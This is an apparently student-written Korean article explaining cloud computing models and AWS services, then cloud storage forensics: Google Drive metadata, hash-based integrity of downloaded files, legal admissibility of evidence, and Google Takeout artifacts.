단순히 네트워크를 통해 서비스를 제공한다고 모두 클라우드 컴퓨팅이 될 수 있는 것은 아니다. NIST는 클라우드 컴퓨팅이 가져야 하는 다섯가지의 필수 특징을 내놓았다. 먼저, 서비스 사용자는 서비스 제공자 간의 직접적인 상호작용 없이 원하는 클라우드 서비스를 이용할 수 있어야 한다(on-demand self-service). 또한, 서비스의 모든 기능은 인터넷을 통해 접근 가능해야 하며 (Broad network access), 클라우드 서비스 제공자의 컴퓨팅 자원은 멀티-테넌트(multi-tenant) 모델을 활용하여 다양한 사용자의 요구에 따라 동적으로 할당될 수 있어야 한다(Resource pooling). 이때 사용자는 자신이 제공받은 자원의 정확한 위치를 모르고, 이를 제어할 권한도 가지고 있지 않겠지만 국가, 주 또는 데이터센터 수준의 상위 레벨에서 대략적인 위치를 특정할 수는 있다. 이렇게 제공받은 컴퓨팅 자원의 가용량은 사용자 원할 때 빠르게 확장, 축소, 할당, 해제된다(Rapid Elasticity). 이는 소비자가 자원을 무제한으로 느끼게 만든다. 마지막으로, 이 모든 자원의 사용량은 모니터링되어야 하고, 클라우드 서비스 제공자와 사용자 모두에게 서비스에 대한 투명성을 제공하야 한다(Measured service).

2.3. 클라우드 컴퓨팅 유형

정의가 어려운 만큼 클라우드 컴퓨팅 서비스의 종류 또한 다양하다. 서론에서 언급했던 OneDrive 서비스도 클라우드 컴퓨팅이고 클라우드 기술 역사에서 언급된 AWS도 클라우드 컴퓨팅이지만 같은 서비스로 분류하기에는 무리가 있다. 이 둘의 차이는 ‘어떤 서비스를 제공하는가?’이다.

OneDrive는 개인용 스토리지 제품 중 하나로 SaaS(Software as a Service)로 분류된다. SaaS는 서비스 제공자에 의해 소프트웨어가 이용자에게 공급되는 것을 의미한다. 일반적으로 ‘애플리케이션을 사용’하는 것이 무엇이나 묻는다면 사람들은 컴퓨터에서는 소프트웨어를 다운받거나, 앱 스토어에서 필요한 앱을 다운받는 행위를 떠올릴 것이다. 하지만, 우리는 웹에 접속하기만 하여도 다양한 서비스를 사용할 수 있는 시대를 살고 있다. 알게 모르게 SaaS를 활발히 사용하고 있기 때문이다. SaaS에는 개인용 스토리지 서비스 뿐 아니라 웹을 통해 접근할 수 있는 모든 완전한 서비스가 포함된다. Email, 문서 관리 프로그램인 구글 Docs, 페이스북, 인스타그램 등 SNS 서비스까지 SaaS에 분류된다.

IaaS(Infrastructure as a Service)는 컴퓨팅 인프라를 제공하는 서비스이다. 컴퓨팅 인프라는 서비스 제공자가 서비스를 제공하는데 필요한 자원이라 생각하면 편하다. 예를 들어, 웹 페이지를 서비스하기 위해서는 웹 서버, 데이터베이스 등이 필요하다. 과거에는 웹사이트 하나를 운영하기 위해서는 물리적인 웹 서버가 필요했다. 하지만 IaaS가 등장하여 물리적 서버 필요 없이 웹사이트를 운영할 수 있게 되었다. Amazon Ec2 서비스가 이에 해당된다.

클라우드를 접해본 사람이라면 알겠지만, 클라우드 컴퓨팅의 유형에는 PaaS (Platform as a service라는 분류가 존재한다. PaaS는 애플리케이션을 싸고 빠르게 개발할 수 있도록 표준화된 플랫폼을 제공해주는 서비스다. 서비스를 개발하는 데에 필요한 것을 제공하는 점에서 IaaS와 큰 차이가 없어 보인다. 플랫폼에 대한 개념이 모호하기 때문이다.

On-premise 방식으로 소프트웨어를 개발할 때 개발자는 단순히 소스코드를 작성하는 것 만으로 개발을 진행할 수 없다. 개발자는 소스코드를 작성함과 동시에 이를 빌드, 테스트, 배포, 관리하는 것에 대해 고민해야 된다. PaaS에서 제공하는 플랫폼은 개발자가 이런 부분을 고민하지 않고 애플리케이션의 개발에 집중하게끔 한다. AWS에서 제공하는 Elastic Beanstalk가 개발자가 코드를 업로드하면 용량 프로비저닝, 로드 밸런싱, 자동 조정부터 시작해 애플리케이션 상태 모니터링까지 배포를 자동으로 처리해주는 PasS의 예시이다.

그림 1. https://www.redhat.com/ko/topics/cloud-computing/iaas-vs-paas-vs-saas, [Cloud computing range]

그림 1. [Cloud computing range]
https://www.redhat.com/ko/topics/cloud-computing/iaas-vs-paas-vs-saas

그림 1은 Red Hat에서 IaaS, PaaS, SaaS의 차이에 대해 설명한 문서에서 인용한 그림이다. 클라우드 컴퓨팅 서비스가 제공하는 요소의 범위를 나타내고 있다. 세 경우 모두 서비스 제공자가 관리하는 부분에 대해서는 사용자가 큰 신경을 쓸 필요가 없다는 특징을 가진다.

2.4. 클라우드 컴퓨팅 예시 – AWS

클라우드 컴퓨팅의 대표적인 서비스를 고르라면 AWS를 쉽게 떠올릴 수 있다. 실제로 다양한 곳에서 AWS를 사용한다. 문제는 AWS 환경 구조가 꽤 생소하게 다가온다는 점이다. 직관적으로 알기 힘든 네이밍의 서비스들이 다수 사용되기 때문이다. 하지만 직접 공부한 결과, 클라우드 환경은 꽤 단순하다. AWS에서 제공하는 다양한 서비스를 선택해서 설정하고 사용하는 것이다. 사용자가 원하는 대로 클라우드 아키텍처를 구성할 수 있고, 물리적인 자원 없이 네트워크만으로 개발 환경 구축이 가능하다. 개발에서 그치지 않고 보안과 관리, 감사 등 서비스 제공 전체에 걸쳐진 서비스를 AWS로 사용할 수 있다.

2.4.1. 리전(Region)과 가용 영역(AZ, Availability Zone)

먼저 AWS를 사용하기 위해서는 특정 리전을 선택해야 한다. AWS를 개발한 아마존은 미국의 회사이지만 AWS의 클라우드 컴퓨팅 리소스들은 전세계에서 호스팅 된다. 이때 호스팅 되는 위치를 구분한 것을 리전(Region)이라고 하며, 각 리전은 여러 가용 영역(Availability Zone)으로 나뉜다. 각 리전마다 제공되는 서비스는 다를 수 있다. 사용자는 지연 속도, 리전이 속하는 지역의 법률, 사용 가능한 AWS에 따라 원하는 리전을 선택할 것이다. 각 리전은 완전히 독립적이기 때문에 서울 리전에서 만든 리소스를 미국 버지니아 북부 리전에서 사용하는 등의 구성을 할 수는 없다.

AWS 리전은 최소 두개 이상의 가용 영역으로 이루어져 있다. 각각의 가용 영역에는 최소 1개 이상의 데이터 센터가 있으며 이 데이터 센터에 50,000에서 80,000대 사이의 물리적 서버가 존재한다. 즉, 사용자가 저장하는 데이터는 이곳에 물리적으로 저장된다. 데이터 센터를 사용자들이 나누어 사용하는 것이다.

물리적 위치를 공유하는 특성 때문에 데이터 보안이 클라우드 서비스에서 중요한 것은 자명하다. 앞서 클라우드 컴퓨팅의 특징을 이야기하며 사용자는 자신의 데이터가 저장된 정확한 위치를 알 수 없어야 한다고 했다. AWS에서도 이 특징이 나타난다. 예를 들어, A계정과 B계정이 서울 리전의 1번 가용영역에 데이터를 저장할 때, 이 둘은 동일한 가용영역을 사용하는 것처럼 보이지만 실제로는 랜덤 한 물리적 위치에 데이터가 존재하게 된다. 따라서 계정 정보를 알지 못한다면 특정 사용자의 데이터에 접근하는 것은 불가능하다. 이는 AWS의 글로벌 서비스인 IAM으로 보장된다.

엣지 로케이션(Edge Location)

엣지 로케이션은 AWS의 CDN(Contents Delivery Network)의 여러 서비스들을 빠른 속도로 제공하기 위한 거점이다. 사용자의 요청을 빠르게 제공하기 위해 사용하는 캐싱 기술이라고 생각하면 쉽다. 앞서 컴퓨팅 리소스를 원활하게 제공하기 위해 AWS 리전을 나누어 제공한다고 설명했는데 엣지 로케이션은 리전 및 가용영역과 완전 별개로 작동한다.

예를 들어 호주에서 한국의 AWS 서비스에 접근한다고 생각해보자. 엣지 로케이션을 사용하지 않는 경우 호주에서 한국 리전에 존재하는 웹 서버에 요청을 보내고, 웹 서버에서 보내는 답장을 받을 것이다. 거리가 긴 만큼 큰 딜레이가 생기고 영상 등의 콘텐츠를 사용할 때에는 문제가 발생할 수 있다.

엣지 로케이션을 사용하면 컨텐츠를 다운로드하는 최초에만 해당 컨텐츠가 존재하는 한국 리전에 직접 요청을 보낸다. 이후에는 받은 데이터을 호주 근처에 위치한 엣지 로케이션에 저장한 후, 해당 엣지 로케이션을 이용해 통신할 수 있다. 거리가 먼 리전에 요청을 보내는 것보다 훨씬 효율적으로 작동하여 네트워크 성능을 높인다. 이러한 기능을 위해 AWS에서는 CloudFront 서비스를 제공한다.

2.4.2. AWS 대표 서비스

컴퓨팅 서비스

  • EC2 (Elastic Compute Cloud): AWS의 가장 대표적이고 널리 쓰이는 인프라로, 컴퓨팅 리소스를 제공하는, IaaS다. 네트워크를 통해 물리적 컴퓨터 하나를 사용할 수 있다고 생각하면 쉽다.

  • EC2에서 제공하는 인프라는 가상머신(이미지)으로 제공되며 ‘인스턴스’라고 불린다. 앞으로 등장하는 EC2 인스턴스를 서버로 치환하여 생각하면 쉽다. EC2에서 제공하는 인스턴스의 종류는 다양하며 용도에 맞게 선택하여 사용할 수 있다.

  • ECS (EC2 Container Service): EC2 서버를 Docker 컨테이너로 관리 가능한 서비스이다.


네트워킹 서비스

  • VPC (Virtual Pricate Network): 가상 네트워크 구축 서비스로, IP 주소 범위를 선택하고 서브넷 생성, 라우팅 테이블, 네트워크 게이트웨이 구성 등 가상 네트워킹 환경을 제어하기 위한 서비스이다.
  • Rounte53: AWS에서 DNS(Domain Name System) 역할을 하는 서비스이다.
  • Cloud Front: 데이터, 동영상, 애플리케이션 및 API를 전 세계 사용자들에게 전송하는 AWS의 고속 글로벌 콘텐츠 전송 네트워크(CDN) 서비스다. 앞서 설명한 것처럼 엣지 로케이션 기준 가장 가까운 곳에서 파일 캐시를 가져와 속도가 빠르다.
  • ELB: 접속량이 많을 경우 Load Balancing을 통해 들어오는 트래픽을 분산해주는 역할을 하는 서비스이다.

스토리지 서비스

  • S3 (Simple Storage Service): 정적 파일 스토리지 서비스로 사진, 비디오, 문서, Frontend 코드, Lambda 함수 코드 등의 데이터가 저장된다. 사용자는 URL을 통해 S3에 저장된 파일을 사용하며 각 유저의 액세스를 컨트롤하는 기능이 존재한다.
  • EBS (Elastic Block Store): EC2 인스턴스에 장착하여 사용할 수 있는 가상 저장 장치. 일반 PC의 SSD와 비슷하게 생각할 수 있다. EC2 인스턴스를 종료하지 않고 저장 공간을 늘릴 수 있으며, EC2 인스턴스와 관계없이 EBS의 파일은 영구적인 보관이 가능하다.

S3와 EBS는 저장공간을 제공한다는 점에서는 비슷하지만 저장하는 방식에서 큰 차이를 보인다. EBS의 경우 Block Storage 방식을 사용하며 하나의 가용영역 내에서 여러 서버에 복제되어 데이터가 저장된다. 네트워크 연결 없이 일반적인 컴퓨터 저장공간을 쓰는 것처럼 접근할 수 있다. 반면 S3의 경우 네트워크를 통해 ‘버킷’이라는 단위에 데이터를 저장하고 객체 URL로 데이터에 접근한다. 즉, 온라인 스토리지 서비스라 볼 수 있다.

데이터베이스 서비스

  • RDS (Relational Database Service): 관계형 데이터베이스 서비스.

보안 서비스

  • IAM (Identity and Access Management): AWS 사용자, 그룹 및 역할의 AWS 서비스 및 리소스 액세스를 안전하게 제어할 수 있도록 하는 서비스이다. AWS 사용자에 따라 IAM 설정을 통해 권한을 관리하고 지정할 수 있다.
  • Network Firewall: VPC에 필수 네트워크 보호 기능을 배포할 수 있도록 하는 관리형 서비스.
  • KMS: 데이터의 암호화를 위해 사용하는 관리형 서비스로, 고가용성의 키 저장소와 관리 감사 기능을 제공한다. 어플리케이션에서 사용하는 데이터는 이 서비스를 이용해 암호화된다.

관리 서비스

  • CloudWatch: 개발자, 운영자, IT 관리자 등을 위해 구축된 모니터링 및 관리 서비스. AWS 리소스와 실행 중인 어플리케이션을 실시간으로 모니터링 하는 서비스이다. 여러 지표를 감시하며 특정 기준에 따라 리소스를 자동으로 조정하는데 인스턴스 중지, Auto Scaling 그룹 조정, Amazon SNS 알림 시작 등으로 구성할 수 있다.
  • CloudTrail: AWS 계정을 만들 때부터 자동으로 모든 작업이 기록되는 서비스. 관리 콘솔, 프로그램에서의 작업, 서비스에서 수행한 모든 작업을 기록하다. 기본적으로 로그는 90일동안 저장되며, S3 서비스 등과 같이 사용해 별도의 스토리지에 로그를 저장할 수 있다. 로그의 변조를 막는 기능도 존재하기에 조작 기록을 증명하기 위한 중요한 기록으로 쓰인다.

그럼 웹페이지 하나를 서비스하기 위해선 어떤 것들이 필요할까? 전통적인 방식으로 웹페이지 서비스 환경을 만드는 경우를 가정해보자. 우선 웹 서버가 필요할 것이고, 사용자들의 데이터를 보관할 데이터베이스가 필요하다. 웹페이지 개발을 한번 코드를 쓴다고 끝나지 않으므로 지속적으로 이를 업데이트하는 것을 용이하게 해줄 프로그램도 필요하다. 보안을 위해 외부와 내부의 통신망 분리도 빼놓을 수 없다. 하물며 내부에서도 내부망을 분리해 사용하기도 한다. 이를 위해선 라우터, 스위치와 같은 추가적인 장치가 필요하다.

그림 2. 웹서버 아키텍처

그림 2. 웹서버 아키텍처

  • 라우터: 데이터 패킷을 의도한 IP 주소로 전달하는 네트워크 장치. 주로 광역네트워크(WAN)과 근거리 통신망(LAN) 간의 통신을 담당한다.
  • 스위치: 네트워크, 주로 근거리 통신망(LAN) 내부의 장치를 연결한다. 스위치에 연결된 장치끼리 데이터를 주고받을 수 있다.
  • DMZ(Demilitarized Zone): 내부와 외부를 분리하는 중간 지대. 주로 인터넷이 연결된 웹 서버, 메일 서버, DNS 서버 등이 배치된다. 내부 네트워크와 완전히 분리된 채 외부와 통신이 가능해 내부망으로 들어가는 악성 트래픽을 막을 수 있다.
  • DNS 서버: 도메인 주소를 ip주소로 변환하는 서버.

위와 같은 단순한 웹서버 구조를 AWS를 이용해 다음과 같이 변환할 수 있다.

그림 3. 클라우드 환경

그림 3. 클라우드 환경



3. 클라우드 포렌식 (Cloud Forensic)

클라우드 기술의 발달로 혁신과도 같은 변화가 일어났음은 분명하다. 클라우드 컴퓨팅 기술은 단순히 인프라 구성을 용이하게 만드는 데서 그치지 않고 다양한 영역에 영향을 미쳤다. 예를 들어, 요즈음 대중들이 사용하는 스마트폰에는 클라우드 스토리지 서비스에 자동적으로 사진과 같은 데이터를 백업하는 기능이 흔하다. 스마트폰, 노트북, 태블릿 PC 등의 디지털기기가 서로 연결되어 데이터를 공유하고 동기화되어 어디서나 컴퓨팅을 할 수 있게 되기도 했다. 조금 다른 분야에도 클라우드는 영향을 미쳤다. 바로 디지털 포렌식 조사이다.

조사 시 물리적인 시스템에 데이터가 저장되어 있는 경우 하드디스크나 컴퓨터 시스템 본체를 압수하고 이를 이미징하여 데이터를 분석할 수 있다. 반면 클라우드 환경이 가지는 빅 데이터, 가상화 기술, 보안 기술 등은 디지털 증거 압수수색을 어렵게 만든다. 빅 데이터는 기존 데이터에 비해 엄청난 양, 매우 빠른 데이터의 생성과 흐름 속도, 다양한 형태, 복잡성을 가진다. 따라서 압수수색 시 빅 데이터의 모든 내용을 분석하는 것은 불가능하다. 애초에 형사소송법 106조 3항에 따라 데이터를 출력, 복제하여 제출하는 것부터 불가능하다.

가상화 기술은 더욱 난감하다. 클라우드에서는 하나의 물리적 자원을 사용자들이 나누어 사용할 수 있게끔 하는 가상화 기술을 적극적으로 사용한다. 하지만 이러한 물리적 위치의 불분명함은 압수수색을 어렵게 만든다. 서비스 제공자의 협력 없이는 클라우드에 저장된 데이터의 압수수색이 불가능한 경우가 발생하기도 한다.

3.1. 클라우드 스토리지 서비스에서의 포렌식

클라우드 스토리지 서비스는 서비스 방식에 따라 퍼블릭 클라우드 스토리지와 프라이빗 클라우드 스토리지로 나뉜다. 퍼블릭 스토리지 클라우드는 서비스 인프라가 사용자와 분리되어 있고 서비스 공급자에 의해 관리된다. 사용자는 공용 인터넷을 통해 인프라에 접속해 사용한다.

이러한 퍼블릭 스토리지 서비스의 경우 실제 데이터가 저장되는 데이터 서버가 전 세계에 분산되어 있다. 때문에 사용자가 데이터가 저장된 물리적 위치를 알기란 쉽지 않으며 수사관이 클라우드 스토리지에서 데이터를 수사하기 위해서는 해당 클라우드 서비스를 직접 이용하거나 서비스 공급자의 협조가 필요하다. Google, Microsoft 등 기업에서 제공하는 Google drive, One drive 등이 퍼블릭 스토리지 서비스에 속한다.

프라이빗 클라우드 스토리지는 스토리지 서비스 인프라를 단일 사용자 또는 조직이 소유한 채 사용되는 스토리지를 말한다. 주로 기업이나 기관 내부에서 확장성과 유연성이 필요로 하는 환경에서 많이 사용한다. 이 경우 인프라를 소유하는 사용자가 존재하고, 이에 의해 시스템이 유지-관리되기 때문에 데이터 제어를 자유롭게 할 수 있으며 보안 수준도 높다.

퍼블릭 스토리지 서비스와 다르게 프라이빗 스토리지 서비스의 경우 데이터 서버 접근이 용이하며 대상 데이터에 대해 물리적인 이미징이 가능하다. 때문에 퍼블릭 클라우드 스토리지 보다는 기존 포렌식 기법을 적용하는 게 수월하다는 특징을 가진다. 현재 상용화된 프라이빗 클라우드 스토리지 서비스에는 Synology, Seafile Seagate 등이 있다.

이제 서문에서 던졌던 의문을 풀어보자. 구글 클라우드에 저장된 증거는 어떻게 수집할까? 단순히 클라우드에 저장된 파일은 다운받는 행위만으로 증거 수집이 인정될까? 클라우드 스토리지에서 데이터를 수집할 때 얻을 수 있는 아티팩트에는 어떤 것이 있을까?

3.2. 구글 드라이브에서 얻을 수 있는 데이터

디지털 포렌식 수사는 단순히 파일을 다운로드 받는 것에서 그치지 않는다. 어떤 파일이 저장될 때, 파일은 메타데이터와 함께 저장된다. 메타데이터에는 생성일시, 수정일시, 접근일시 등의 시간정보가 있다. 시간정보는 파일을 생성, 복사, 이동, 수정함에 따라 변한다. 특정 파일시스템이 시간정보를 변경하는 규칙을 파악하면 파일의 메타데이터와 결합하여 조사 대상자의 행적을 조사할 수 있다.

윈도우 OS인 파일시스템인 NTFS(New Technology File System)은 다음과 같은 볼륨 구조를 가진다.

  • NTFS 부트 섹터: BIOS 매개변수 블록
  • MFT(Master File Table): NTFS 볼륨에서 파일을 검색하는데 필요한 정보인 파일의 속성 따 따위 저장된다.
  • 파일시스템 데이터: MFT 내부에 저장되지 않은 Non-resident 데이터를 저장한다.
  • MTF 사본: 파일시스템 복구를 위해 필요한 필수 레코드가 포함된 사본이다.

MTF는 다수의 MTF 레코드로 이루어지며 이 안에 경로, 크기, 권한, 생성·수정·접근·변경에 관한 시간 정보 등의 속성이 포함된다. MTF 레코드의 보편적인 속성에는 $STANDARD_INFORMATION과 $FILE_NAME가 있는데 이 안에는 생성일시, 수정일시, MFT 수정일시, 접근일시 등의 메타데이터가 들어있다.

이러한 메타데이터 중 생성·수정·접근일시는 윈도우에서 파일을 선택한 후 ‘속성’을 확인하여 알 수 있다.

파일시스템에서 추가하는 메타데이터 외 파일 내부에 존재하는 메타데이터도 획득이 가능하다. 예를 들어 Exif 이미지 파일 형식은 촬영한 사진 파일의 메타데이터를 태그에 저장하여 관리한다. Exif 표준에 따르면 메타데이터 태그에는 다음과 같은 정보가 포함된다.

  • 촬영 날짜 및 시간
  • 카메라 모델 및 제조사 정보
  • 방향(회전), 조리개, 셔터 속도, 초점 거리, 측광 모드 및 ISO 감도 정보 등 이 미지 정보
  • 카메라의 LCD 화면에서 사진 미리보기를 위한 섬네일(thumbnail) 파일
  • 촬영된 사진의 설명

이런 파일 자체나 파일시스템이 부여하는 메타데이터는 일반적인 디지털 포렌식에서 얻을 수 있는 것 외에 클라우드 스토리지에 파일을 업로드하고 다운로드하는 과정에서 생성되거나 변경되는 메타데이터가 있다. 예를 들어 구글 드라이브는 파일 세부정보다 클라우드에 파일을 업로드한 시간과 수정한 시간 등의 정보를 별도로 저장한다. 활동 란에는 누가 어떤 파일을 업로드하고 다운로드 했는가 와 같은 로그를 확인할 수 있다. 다만 해당 데이터는 파일로 다운로드 할 수 없고 캡쳐를 통해서만 획득이 가능하다.

그림 4. 구글 드라이브의 메타데이터

그림 4. 구글 드라이브의 메타데이터

Untitled

3.3. 구글 드라이브 데이터의 증거능력

디지털 증거가 법정에서 증거능력을 가지기 위해서는 무결성이 증명되어야 하는데, 이러한 증명은 보통 해시 값을 활용한다. 해시 함수에 파일의 데이터를 넣어 나오는 값이 유일함을 이용한 방법이다. 간단한 사진 파일을 드라이브에 업로드하고 다운받아 해시 값을 확인해보았다.

그림 5. 사진의 속성 값 확인

그림 5. 사진의 속성 값 확인

왼쪽이 원본 사진, 오른쪽이 클라우드에 업로드 후 다운받은 사진이다. 다운받은 파일의 경우 만든 날짜, 수정한 날짜, 액세스한 날짜가 전부 클라우드에서 다운로드한 시점으로 설정된 것을 알 수 있다.

그림 6. 사진의 해시 값 확인

그림 6. 사진의 해시 값 확인

Hashtab을 이용해 확인하면 두 파일의 해시 값이 동일하다. 따라서 구글 드라이브에서 파일을 다운로드하는 행위는 파일의 무결성이 보장된다.

다만 이는 웹 브라우저로 구글 드라이브에 접속해 원본 파일을 다운로드 받은 경우에만 국한된다. 구글은 클라우드 스토리지 용량 관리를 위해 사진이나 동영상 파일을 저화질로 업로드할 수 있는 기능을 제공한다. 이 경우 화질이 달라진 파일은 원본 파일과 다른 파일이 된다. 그렇다면 이 경우에도 증거로 채택이 가능할까?

클라우드 스토리지의 수사 활용가능 데이터 획득 방안 연구[1]에서 원본 파일이 없는 상태에서 클라우드 스토리지 내 저장된 비교적 저화질의 사진 및 동영상 파일을 증거로 사용할 수 있을지에 대한 검토를 진행하였으며 해당 내용을 참고해 판단해보았다.

디지털 증거는 1)원본이거나 2)원본으로부터 복사한 사본일 때 복사 과정에서 편집되는 등 인위적 개작 없이 원본의 내용 그대로 복사한 사본임이 증명되었을 때 증거능력을 갖으며, 이 증명이 불가하면 증거능력이 인정되지 않는다. 다만 3)피고인이 동의하거나 4)신용할 만한 정황에 의해 작성된 문서의 경우 증거능력을 가진다.

원본을 제출하지 못하고 클라우드에서 내려 받은 수정된 데이터만 존재한다 가정하자. 증거는 진술증거와 비진술증거로 나뉜다. 진술증거는 매체와 관계없이 사람이 의미의 인식을 통해 사상이나 관념을 표현하는 내용이 포함된 증거를 의미한다. 즉, 개인의 의견이 들어갈 가능성이 있으면 진술증거다. 비진술증거는 그 반대로 CCTV 화면, 블랙박스 화면 등 의견 개입이 불가능한 증거를 의미한다. 이 경우는 사람의 의견이 담기지 않으므로 전문법칙(전문증거는 증거가 아니어서 증거능력이 인정되지 않는다.)이 적용되지 않아 증거로 인정된다. 만약 동영상 파일 속의 대화, 발표, 독백 등의 내용을 증거로 하는 경우에는 진술증거로 취급되며 전문증거의 여부를 따져야 한다.

전문증거는 “사실인정의 기초가 되는 사실(요증사실)을 경험자 자신이 직접 법원에 진술하지 않고, 타인의 진술이나 서류의 형태에 의해 간접적으로 보고하는 것”이다. 전문증거인 진술증거에는 전문법칙이 적용된다. 다시 이야기하면 특정 사실을 직접 경험한 사람의 진술은 법정에 직접 제출되어야 하고 이를 기록한 서류 따위가 제출되어서는 안 된다는 뜻이다.

만약 디지털 증거가 진술증거이면서 그 내용의 진실성이 범죄사실에 대한 직접증거로 사용될 때는 전문증거가 되어 전문법칙을 적용 받아 증거능력을 잃을 것이다. 다만 디지털 증거 자체가 요증사실의 구성요소를 이루는 경우에는 전문법칙을 적용 받지 않는다.

예를 들어 “대법원 2008. 11. 13. 선고 2006도2556 판결.” 에서는 ‘문자정보를 휴대전화 화면에 띄워 촬영한 사진’을 전문증거로 판단하지 않았다. 문자정보 자체가 피고인의 범죄행위를 증명하는 증거였기 때문이다.

또한 진술 내용의 진실성과 관계없는 간접사실에 대한 정황증거로 증거가 제출된다면 전문법칙이 적용되지 않아 증거능력을 가질 수 있다.

추가적으로 진술증거 및 전문증거 여부와 관계없이, ‘최량증거의 법칙’에 따르면 소송당사자는 사실을 입증하기 위한 여러 개의 증거방법을 가지고 있는 경우 가장 증거력이 강하고 우수한 증거를 제출하여 입증하여야 한다. 원본 파일 없이 클라우드 스토리지에 저화질 파일만 존재하는 경우, 1)클라우드 스토리지에 업로드 되었다는 점에서 원본의 존재가 증명되고 2)원본 파일이 삭제되었으므로 저화질 파일을 제출해야 하는 필요성이 증명되고 3)파일 이름, 클라우드 스토리지에 업로드한 일시, 클라우드 스토리지 상에서의 수정 일시, 파일 내부에 존재하는 촬영일시 등의 시간 정보를 비교하고, 파일 대상 행위 기록을 통해 원본 파일에서 단순한 화질과 메타데이터 변화면 있었다는 점(정확성)을 만족할 경우 저화질의 파일로도 증거능력을 확보할 수 있을 것이다.

3.4. 구글 클라우드 서비스 데이터 수집의 활용

구글에서는 구글 드라이브 파일을 한 번에 다운받을 수 있는 구글 Takeout 서비스를 제공한다. 이는 드라이브나 구글 포토와 같은 클라우드 스토리지 서비스 뿐 아니라 구글 계정을 중심으로 동기화되는 각종 데이터와 로그의 수집에 활용될 수 있다.

구글 Takeout은 구글의 서비스 이용 시 구글 계정에 저장되는 사용자 활동 관련 기록, 클라우드 스토리지 내부 파일 등 약 28여개의 구글 서비스 데이터를 다운로드 할 수 있는 기능을 제공한다. 이때 다운로드 되는 데이터에는 업로드 된 파일 뿐 만 아니라 구글 계정을 공유하는 모든 기기에서의 사용 내역, 동기화된 파일, 시간 정보를 포함한 모든 안드로이드 앱의 구동 내역, 사용자 위치 정보 등이 포함된다.

이중 디지털 포렌식에 유용하게 활용될만한 서비스는 다음과 같다.

  • Android Device Configuration Service: 구글 계정으로 로그인한 안드로이드 기기들의 정보를 저장한다. 해당 로그는 html 파일로 저장되며 문서를 확인하면 언어, 시간대, 시리얼 번호, 모델 등 하드웨어 정보, 소프트웨어 정보, 시간 및 네트워크 정보를 알 수 있다.

그림 7. 구글 Takeout에서 Android Device Configuration 서비스의 모습

그림 7. 구글 Takeout에서 Android Device Configuration 서비스의 모습


그림 8. 다운 된 로그 파일

그림 8. 다운 된 로그 파일


그림 9. 로그 파일 내용 형식

그림 9. 로그 파일 내용 형식

  • Android: 구글 계정으로 로그인한 안드로이드 기기에서 구동된 모든 앱의 구동 내역이 저장되는 서비스. 해당 로그를 분석하면 사용자가 언제, 어느 기기에서 어떤 앱을 구동했는지 알 수 있다. 다만 해당 앱을 통해 구체적으로 어떤 활동을 했는지는 알 수 없다.
  • Assistant: 구글 어시스턴스를 사용한 내역이 저장된다. 사용자의 질문, 어시스턴스의 답변, 시간 정보, 사용자 위치 정보를 분석할 수 있다. 만약 음성 정보를 구글에 전송하는데에 동의했다면 목소리가 MP3 파일로 저장될 것이다.
  • Chrome: 구글 크롬 앱을 사용한 내역이 저장된다.
  • Contacts: 사용자가 구글로 동기화한 주소록 내역을 분석할 수 있다.
  • Drive: 구글 드라이브에 업로드한 모든 파일과 메타데이터를 저장한다.
  • Gmail: 사용자가 지메일 메일함에서 검색한 내역을 저장하며 검색을 수행한 시각, 검색 키워드를 알 수 있다.
  • Google Photos: 구글 포토로 업로드하거나 자동 동기화된 멀티미디어 파일에 대한 메타 데이터와 실제 파일을 저장한다.

그림 10. Google Photos 서비스에서 다운 받은 로그 모습

그림 10. Google Photos 서비스에서 다운 받은 로그 모습

이때, .json 확장자를 가진 파일들이 존재하며 해당 파일에 구글 포토 자체의 메타데이터와 저장된 사진의 메타데이터를 확인할 수 있다.

  • Location History: 사용자가 구글에 자신의 위치 정보 전송을 동의했을 때, 구글 계정이 로그인 된 스마트 기기의 위치 정보를 수집하는 서비스이다. 해당 서비스의 로그는 이동 경로와 방문 장소로 나뉘어져 있으며 이를 분석할 경우 사용자가 이동한 경로의 출발지와 도착지에서의 시간정보. 위도, 경도 정보 등을 알 수 있다.
  • Video Search: 유튜브나 구글 크롬 앱 등을 이용해 시청하거나 검색한 비디오 콘텐츠를 저장하는 서비스이다. 해당 로그를 분석하면 시청 및 검색에 사용한 서비스 종류, 콘텐츠, URL, 검색 키워드 등을 알 수 있다.
  • YouTube: 유튜브 시청 및 검색기록을 저장하며 해당 로그를 제공한다.

이와 같이 디지털 포렌식 관점에서 상당히 유용한 데이터들을 구글 Takeout을 통해 수집할 수 있으며 대량의 데이터를 조사하는데 효율적이라는 생각이 든다. 최근에는 Takeout을 통해 수집한 데이터를 파싱, 통합 정규화하는 gtForensics과 결과를 시각화 하는 뷰어 (https://github.com/JJun1207/gtForensics_viewer)의 연구도 진행되었다. [2]

다만 방대한 데이터가 저장되어 있는 클라우드 스토리지 특성상 사건과 관련된 데이터만 수집하는 것에 난항을 겪을 수 있다. 이러한 한계를 극복하기 위해 OpenAPI를 이용해 데이터를 선별하여 수집하는 방안을 제시한 연구도 존재한다.[12] 해당 연구에서는 클라우드 스토리지 내 저장된 파일들의 메타데이터를 수집하여 사건과 관계 있는 파일 정보를 선별하고 해당 파일만 서버에 요청하는 방안을 제시하였다.


4. 마무리하며

이 글에서는 클라우드의 기본 개념과 클라우드 스토리지 포렌식에 대한 아주 단편적인 부분을 다루었다. 스토리지 서비스 중에서도 구글 드라이브에 국한된 내용만을 소개했는데 다양한 클라우드 서비스가 있는 만큼 클라우드 스토리지 서비스의 구조나 메타데이터들에 차이가 있다. 이와 관련된 연구는 다양하게 진행되어 충분히 참고해 깊은 공부를 진행할 수 있다.

하지만 클라우드 포렌식에 대한 논의는 끝나지 않았다. 당장 해결해야 할 문제만 해도 다양하다. IaaS 환경에서 포렌식을 위해서는 서비스 제공자의 동의가 필요하며, 이는 압수 수색의 한계를 빗는다. 다양한 클라우드 서비스가 끊임없이 나오는 이상 데이터를 수집하고 분류하는 방법에 대한 연구가 계속 필요할 것이다. 즉, 디지털 포렌식을 공부하는 우리 또한 신 기술에 항상 주목하고 제도적인 부분에 어떤 변화가 있는지를 공부해야 한다.


5. 참고문헌

[1] 김민동. (n.d.). 클라우드 스토리지의 수사 활용가능 데이터 획득 방안 연구(석사). 성균관대학교 일반대학원, n.p..

[2] 김도현, 김준기, 이상진. “디지털 포렌식 관점에서의 구글 클라우드 데이터 분석 연구.” 정보보호학회지 24 (n.d.): 1662-1669.

[3] 서승희, 김주은, 이창훈. (n.d.). 디지털 포렌식 관점에서 클라우드 스토리지 분석 연구 동향. 정보보호학회지32(2), pp. 29-36.

